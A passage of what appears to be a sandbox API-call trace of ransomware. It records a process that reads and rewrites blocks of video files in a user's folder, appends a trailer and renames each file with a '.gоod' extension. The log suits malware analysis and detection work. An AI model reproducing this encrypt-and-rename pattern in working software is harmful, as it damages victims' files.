hFile=0x580, lpBuffer=0x33fc618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ed228, lpOverlapped=0x0 | out: lpBuffer=0x33fc618*, lpNumberOfBytesRead=0x1f9ed228*=0x1000, lpOverlapped=0x0) returned 1 [0174.083] CloseHandle (hObject=0x580) returned 1 [0174.083] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\PDnrnw9vhNCZQ73n\\ngU5Hl.mkv", nBufferLength=0x105, lpBuffer=0x1f9ecc30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\PDnrnw9vhNCZQ73n\\ngU5Hl.mkv", lpFilePart=0x0) returned 0x3e [0174.083] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed150) returned 1 [0174.083] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\PDnrnw9vhNCZQ73n\\ngU5Hl.mkv" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\pdnrnw9vhnczq73n\\ngu5hl.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x580 [0174.083] GetFileType (hFile=0x580) returned 0x1 [0174.083] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed0c0) returned 1 [0174.083] GetFileType (hFile=0x580) returned 0x1 [0174.083] WriteFile (in: hFile=0x580, lpBuffer=0x33fb388*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f9ed2d8, lpOverlapped=0x0 | out: lpBuffer=0x33fb388*, lpNumberOfBytesWritten=0x1f9ed2d8*=0x1010, lpOverlapped=0x0) returned 1 [0174.084] CloseHandle (hObject=0x580) returned 1 [0174.084] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\PDnrnw9vhNCZQ73n\\ngU5Hl.mkv", nBufferLength=0x105, lpBuffer=0x1f9ecd80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\PDnrnw9vhNCZQ73n\\ngU5Hl.mkv", lpFilePart=0x0) returned 0x3e [0174.084] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\PDnrnw9vhNCZQ73n\\ngU5Hl.mkv.gоod", nBufferLength=0x105, lpBuffer=0x1f9ecd80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\PDnrnw9vhNCZQ73n\\ngU5Hl.mkv.gоod", lpFilePart=0x0) returned 0x43 [0174.084] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed210) returned 1 [0174.084] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\PDnrnw9vhNCZQ73n\\ngU5Hl.mkv" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\pdnrnw9vhnczq73n\\ngu5hl.mkv"), fInfoLevelId=0x0, lpFileInformation=0x1f9ed2f0 | out: lpFileInformation=0x1f9ed2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1adf2b0, ftCreationTime.dwHighDateTime=0x1d4d194, ftLastAccessTime.dwLowDateTime=0x84339e10, ftLastAccessTime.dwHighDateTime=0x1d4d0cf, ftLastWriteTime.dwLowDateTime=0x63f8d781, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x11e11)) returned 1 [0174.084] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed1d0) returned 1 [0174.084] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\PDnrnw9vhNCZQ73n\\ngU5Hl.mkv" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\pdnrnw9vhnczq73n\\ngu5hl.mkv"), lpNewFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\PDnrnw9vhNCZQ73n\\ngU5Hl.mkv.gоod" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\pdnrnw9vhnczq73n\\ngu5hl.mkv.gоod")) returned 1 [0174.084] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\PDnrnw9vhNCZQ73n\\Nm3zM4D9NpJg.flv", nBufferLength=0x105, lpBuffer=0x1f9ecd80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\PDnrnw9vhNCZQ73n\\Nm3zM4D9NpJg.flv", lpFilePart=0x0) returned 0x44 [0174.085] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed250) returned 1 [0174.085] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\PDnrnw9vhNCZQ73n\\Nm3zM4D9NpJg.flv" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\pdnrnw9vhnczq73n\\nm3zm4d9npjg.flv"), fInfoLevelId=0x0, lpFileInformation=0x3478be8 | out: lpFileInformation=0x3478be8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd91335d0, ftCreationTime.dwHighDateTime=0x1d4c80a, ftLastAccessTime.dwLowDateTime=0x9df702a0, ftLastAccessTime.dwHighDateTime=0x1d4d5a8, ftLastWriteTime.dwLowDateTime=0x9df702a0, ftLastWriteTime.dwHighDateTime=0x1d4d5a8, nFileSizeHigh=0x0, nFileSizeLow=0x17a33)) returned 1 [0174.085] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed210) returned 1 [0174.085] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\PDnrnw9vhNCZQ73n\\Nm3zM4D9NpJg.flv", nBufferLength=0x105, lpBuffer=0x1f9ecc30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\PDnrnw9vhNCZQ73n\\Nm3zM4D9NpJg.flv", lpFilePart=0x0) returned 0x44 [0174.085] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed150) returned 1 [0174.085] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\PDnrnw9vhNCZQ73n\\Nm3zM4D9NpJg.flv" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\pdnrnw9vhnczq73n\\nm3zm4d9npjg.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x580 [0174.085] GetFileType (hFile=0x580) returned 0x1 [0174.085] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed0c0) returned 1 [0174.085] GetFileType (hFile=0x580) returned 0x1 [0174.085] SetFilePointer (in: hFile=0x580, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f9ed2a8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f9ed2a8*=0) returned 0x1000 [0174.085] ReadFile (in: hFile=0x580, lpBuffer=0x3479010, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ed278, lpOverlapped=0x0 | out: lpBuffer=0x3479010*, lpNumberOfBytesRead=0x1f9ed278*=0x1000, lpOverlapped=0x0) returned 1 [0174.085] CloseHandle (hObject=0x580) returned 1 [0174.085] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\PDnrnw9vhNCZQ73n\\Nm3zM4D9NpJg.flv", nBufferLength=0x105, lpBuffer=0x1f9ecc30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\PDnrnw9vhNCZQ73n\\Nm3zM4D9NpJg.flv", lpFilePart=0x0) returned 0x44 [0174.086] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed150) returned 1 [0174.086] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\PDnrnw9vhNCZQ73n\\Nm3zM4D9NpJg.flv" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\pdnrnw9vhnczq73n\\nm3zm4d9npjg.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x580 [0174.086] GetFileType (hFile=0x580) returned 0x1 [0174.086] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed0c0) returned 1 [0174.086] GetFileType (hFile=0x580) returned 0x1 [0174.086] SetFilePointer (in: hFile=0x580, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f9ed2a8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f9ed2a8*=0) returned 0x17a33 [0174.086] WriteFile (in: hFile=0x580, lpBuffer=0x347a2b0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f9ed198, lpOverlapped=0x0 | out: lpBuffer=0x347a2b0*, lpNumberOfBytesWritten=0x1f9ed198*=0x10, lpOverlapped=0x0) returned 1 [0174.086] CloseHandle (hObject=0x580) returned 1 [0174.247] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\PDnrnw9vhNCZQ73n\\Nm3zM4D9NpJg.flv", nBufferLength=0x105, lpBuffer=0x1f9ecc30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\PDnrnw9vhNCZQ73n\\Nm3zM4D9NpJg.flv", lpFilePart=0x0) returned 0x44 [0174.247] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed150) returned 1 [0174.247] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\PDnrnw9vhNCZQ73n\\Nm3zM4D9NpJg.flv" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\pdnrnw9vhnczq73n\\nm3zm4d9npjg.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x580 [0174.247] GetFileType (hFile=0x580) returned 0x1 [0174.247] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed0c0) returned 1 [0174.248] GetFileType (hFile=0x580) returned 0x1 [0174.248] ReadFile (in: hFile=0x580, lpBuffer=0x33eb208, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ed228, lpOverlapped=0x0 | out: lpBuffer=0x33eb208*, lpNumberOfBytesRead=0x1f9ed228*=0x1000, lpOverlapped=0x0) returned 1 [0174.281] CloseHandle (hObject=0x580) returned 1 [0174.281] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\PDnrnw9vhNCZQ73n\\Nm3zM4D9NpJg.flv", nBufferLength=0x105, lpBuffer=0x1f9ecc30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\PDnrnw9vhNCZQ73n\\Nm3zM4D9NpJg.flv", lpFilePart=0x0) returned 0x44 [0174.281] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed150) returned 1 [0174.281] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\PDnrnw9vhNCZQ73n\\Nm3zM4D9NpJg.flv" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\pdnrnw9vhnczq73n\\nm3zm4d9npjg.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x580 [0174.281] GetFileType (hFile=0x580) returned 0x1 [0174.281] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed0c0) returned 1 [0174.281] GetFileType (hFile=0x580) returned 0x1 [0174.281] WriteFile (in: hFile=0x580, lpBuffer=0x33e9f58*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f9ed2d8, lpOverlapped=0x0 | out: lpBuffer=0x33e9f58*, lpNumberOfBytesWritten=0x1f9ed2d8*=0x1010, lpOverlapped=0x0) returned 1 [0174.281] CloseHandle (hObject=0x580) returned 1 [0174.282] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\PDnrnw9vhNCZQ73n\\Nm3zM4D9NpJg.flv", nBufferLength=0x105, lpBuffer=0x1f9ecd80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\PDnrnw9vhNCZQ73n\\Nm3zM4D9NpJg.flv", lpFilePart=0x0) returned 0x44 [0174.282] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\PDnrnw9vhNCZQ73n\\Nm3zM4D9NpJg.flv.gоod", nBufferLength=0x105, lpBuffer=0x1f9ecd80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\PDnrnw9vhNCZQ73n\\Nm3zM4D9NpJg.flv.gоod", lpFilePart=0x0) returned 0x49 [0174.282] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed210) returned 1 [0174.282] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\PDnrnw9vhNCZQ73n\\Nm3zM4D9NpJg.flv" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\pdnrnw9vhnczq73n\\nm3zm4d9npjg.flv"), fInfoLevelId=0x0, lpFileInformation=0x1f9ed2f0 | out: lpFileInformation=0x1f9ed2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd91335d0, ftCreationTime.dwHighDateTime=0x1d4c80a, ftLastAccessTime.dwLowDateTime=0x9df702a0, ftLastAccessTime.dwHighDateTime=0x1d4d5a8, ftLastWriteTime.dwLowDateTime=0x6417d584, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x17a43)) returned 1 [0174.282] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed1d0) returned 1 [0174.282] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\PDnrnw9vhNCZQ73n\\Nm3zM4D9NpJg.flv" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\pdnrnw9vhnczq73n\\nm3zm4d9npjg.flv"), lpNewFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\PDnrnw9vhNCZQ73n\\Nm3zM4D9NpJg.flv.gоod" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\pdnrnw9vhnczq73n\\nm3zm4d9npjg.flv.gоod")) returned 1 [0174.283] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\PDnrnw9vhNCZQ73n\\oW8edn3.swf", nBufferLength=0x105, lpBuffer=0x1f9ecd80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\PDnrnw9vhNCZQ73n\\oW8edn3.swf", lpFilePart=0x0) returned 0x3f [0174.283] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed250) returned 1 [0174.283] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\PDnrnw9vhNCZQ73n\\oW8edn3.swf" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\pdnrnw9vhnczq73n\\ow8edn3.swf"), fInfoLevelId=0x0, lpFileInformation=0x3467600 | out: lpFileInformation=0x3467600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa1d16180, ftCreationTime.dwHighDateTime=0x1d4d1d5, ftLastAccessTime.dwLowDateTime=0x1f2691d0, ftLastAccessTime.dwHighDateTime=0x1d4c6a2, ftLastWriteTime.dwLowDateTime=0x1f2691d0, ftLastWriteTime.dwHighDateTime=0x1d4c6a2, nFileSizeHigh=0x0, nFileSizeLow=0x25de)) returned 1 [0174.283] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed210) returned 1 [0174.283] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\PDnrnw9vhNCZQ73n\\oW8edn3.swf", nBufferLength=0x105, lpBuffer=0x1f9ecc30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\PDnrnw9vhNCZQ73n\\oW8edn3.swf", lpFilePart=0x0) returned 0x3f [0174.283] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed150) returned 1 [0174.283] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\PDnrnw9vhNCZQ73n\\oW8edn3.swf" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\pdnrnw9vhnczq73n\\ow8edn3.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x580 [0174.283] GetFileType (hFile=0x580) returned 0x1 [0174.283] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed0c0) returned 1 [0174.283] GetFileType (hFile=0x580) returned 0x1 [0174.283] SetFilePointer (in: hFile=0x580, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f9ed2a8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f9ed2a8*=0) returned 0x1000 [0174.284] ReadFile (in: hFile=0x580, lpBuffer=0x34679e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ed278, lpOverlapped=0x0 | out: lpBuffer=0x34679e8*, lpNumberOfBytesRead=0x1f9ed278*=0x1000, lpOverlapped=0x0) returned 1 [0174.284] CloseHandle (hObject=0x580) returned 1 [0174.284] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\PDnrnw9vhNCZQ73n\\oW8edn3.swf", nBufferLength=0x105, lpBuffer=0x1f9ecc30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\PDnrnw9vhNCZQ73n\\oW8edn3.swf", lpFilePart=0x0) returned 0x3f [0174.284] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed150) returned 1 [0174.284] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\PDnrnw9vhNCZQ73n\\oW8edn3.swf" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\pdnrnw9vhnczq73n\\ow8edn3.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x580 [0174.284] GetFileType (hFile=0x580) returned 0x1 [0174.284] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed0c0) returned 1 [0174.284] GetFileType (hFile=0x580) returned 0x1 [0174.284] SetFilePointer (in: hFile=0x580, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f9ed2a8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f9ed2a8*=0) returned 0x25de [0174.284] WriteFile (in: hFile=0x580, lpBuffer=0x3468c68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f9ed198, lpOverlapped=0x0 | out: lpBuffer=0x3468c68*, lpNumberOfBytesWritten=0x1f9ed198*=0x10, lpOverlapped=0x0) returned 1 [0174.284] CloseHandle (hObject=0x580) returned 1 [0174.284] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\PDnrnw9vhNCZQ73n\\oW8edn3.swf", nBufferLength=0x105, lpBuffer=0x1f9ecc30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\PDnrnw9vhNCZQ73n\\oW8edn3.swf", lpFilePart=0x0) returned 0x3f [0174.285] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed150) returned 1 [0174.285] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\PDnrnw9vhNCZQ73n\\oW8edn3.swf" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\pdnrnw9vhnczq73n\\ow8edn3.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x580 [0174.285] GetFileType (hFile=0x580) returned 0x1 [0174.285] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed0c0) returned 1 [0174.285] GetFileType (hFile=0x580) returned 0x1 [0174.285] ReadFile (in: hFile=0x580, lpBuffer=0x346af10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ed228, lpOverlapped=0x0 | out: lpBuffer=0x346af10*, lpNumberOfBytesRead=0x1f9ed228*=0x1000, lpOverlapped=0x0) returned 1 [0176.231] CloseHandle (hObject=0x580) returned 1 [0176.231] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\PDnrnw9vhNCZQ73n\\oW8edn3.swf", nBufferLength=0x105, lpBuffer=0x1f9ecc30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\PDnrnw9vhNCZQ73n\\oW8edn3.swf", lpFilePart=0x0) returned 0x3f [0176.231] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed150) returned 1 [0176.232] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\PDnrnw9vhNCZQ73n\\oW8edn3.swf" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\pdnrnw9vhnczq73n\\ow8edn3.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x580 [0176.232] GetFileType (hFile=0x580) returned 0x1 [0176.232] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed0c0) returned 1 [0176.232] GetFileType (hFile=0x580) returned 0x1 [0176.232] WriteFile (in: hFile=0x580, lpBuffer=0x33b42a0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f9ed2d8, lpOverlapped=0x0 | out: lpBuffer=0x33b42a0*, lpNumberOfBytesWritten=0x1f9ed2d8*=0x1010, lpOverlapped=0x0) returned 1 [0176.232] CloseHandle (hObject=0x580) returned 1 [0176.232] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\PDnrnw9vhNCZQ73n\\oW8edn3.swf", nBufferLength=0x105, lpBuffer=0x1f9ecd80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\PDnrnw9vhNCZQ73n\\oW8edn3.swf", lpFilePart=0x0) returned 0x3f [0176.232] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\PDnrnw9vhNCZQ73n\\oW8edn3.swf.gоod", nBufferLength=0x105, lpBuffer=0x1f9ecd80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\PDnrnw9vhNCZQ73n\\oW8edn3.swf.gоod", lpFilePart=0x0) returned 0x44 [0176.232] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed210) returned 1 [0176.232] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\PDnrnw9vhNCZQ73n\\oW8edn3.swf" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\pdnrnw9vhnczq73n\\ow8edn3.swf"), fInfoLevelId=0x0, lpFileInformation=0x1f9ed2f0 | out: lpFileInformation=0x1f9ed2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa1d16180, ftCreationTime.dwHighDateTime=0x1d4d1d5, ftLastAccessTime.dwLowDateTime=0x1f2691d0, ftLastAccessTime.dwHighDateTime=0x1d4c6a2, ftLastWriteTime.dwLowDateTime=0x6541db10, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x25ee)) returned 1 [0176.233] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed1d0) returned 1 [0176.233] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\PDnrnw9vhNCZQ73n\\oW8edn3.swf" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\pdnrnw9vhnczq73n\\ow8edn3.swf"), lpNewFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\PDnrnw9vhNCZQ73n\\oW8edn3.swf.gоod" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\pdnrnw9vhnczq73n\\ow8edn3.swf.gоod")) returned 1 [0176.234] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\PDnrnw9vhNCZQ73n\\z5QQiGc.swf", nBufferLength=0x105, lpBuffer=0x1f9ecd80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\PDnrnw9vhNCZQ73n\\z5QQiGc.swf", lpFilePart=0x0) returned 0x3f [0176.234] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed250) returned 1 [0176.234] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\PDnrnw9vhNCZQ73n\\z5QQiGc.swf" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\pdnrnw9vhnczq73n\\z5qqigc.swf"), fInfoLevelId=0x0, lpFileInformation=0x39b69e0 | out: lpFileInformation=0x39b69e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b2df600, ftCreationTime.dwHighDateTime=0x1d4c825, ftLastAccessTime.dwLowDateTime=0x81eea000, ftLastAccessTime.dwHighDateTime=0x1d4d5c5, ftLastWriteTime.dwLowDateTime=0x81eea000, ftLastWriteTime.dwHighDateTime=0x1d4d5c5, nFileSizeHigh=0x0, nFileSizeLow=0xeb3a)) returned 1 [0176.234] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed210) returned 1 [0176.234] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\PDnrnw9vhNCZQ73n\\z5QQiGc.swf", nBufferLength=0x105, lpBuffer=0x1f9ecc30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\PDnrnw9vhNCZQ73n\\z5QQiGc.swf", lpFilePart=0x0) returned 0x3f [0176.234] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed150) returned 1 [0176.234] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\PDnrnw9vhNCZQ73n\\z5QQiGc.swf" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\pdnrnw9vhnczq73n\\z5qqigc.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x580 [0176.234] GetFileType (hFile=0x580) returned 0x1 [0176.234] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed0c0) returned 1 [0176.234] GetFileType (hFile=0x580) returned 0x1 [0176.234] SetFilePointer (in: hFile=0x580, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f9ed2a8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f9ed2a8*=0) returned 0x1000 [0176.235] ReadFile (in: hFile=0x580, lpBuffer=0x39b6dc8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ed278, lpOverlapped=0x0 | out: lpBuffer=0x39b6dc8*, lpNumberOfBytesRead=0x1f9ed278*=0x1000, lpOverlapped=0x0) returned 1 [0176.235] CloseHandle (hObject=0x580) returned 1 [0176.235] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\PDnrnw9vhNCZQ73n\\z5QQiGc.swf", nBufferLength=0x105, lpBuffer=0x1f9ecc30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\PDnrnw9vhNCZQ73n\\z5QQiGc.swf", lpFilePart=0x0) returned 0x3f [0176.235] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed150) returned 1 [0176.235] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\PDnrnw9vhNCZQ73n\\z5QQiGc.swf" (normalized: 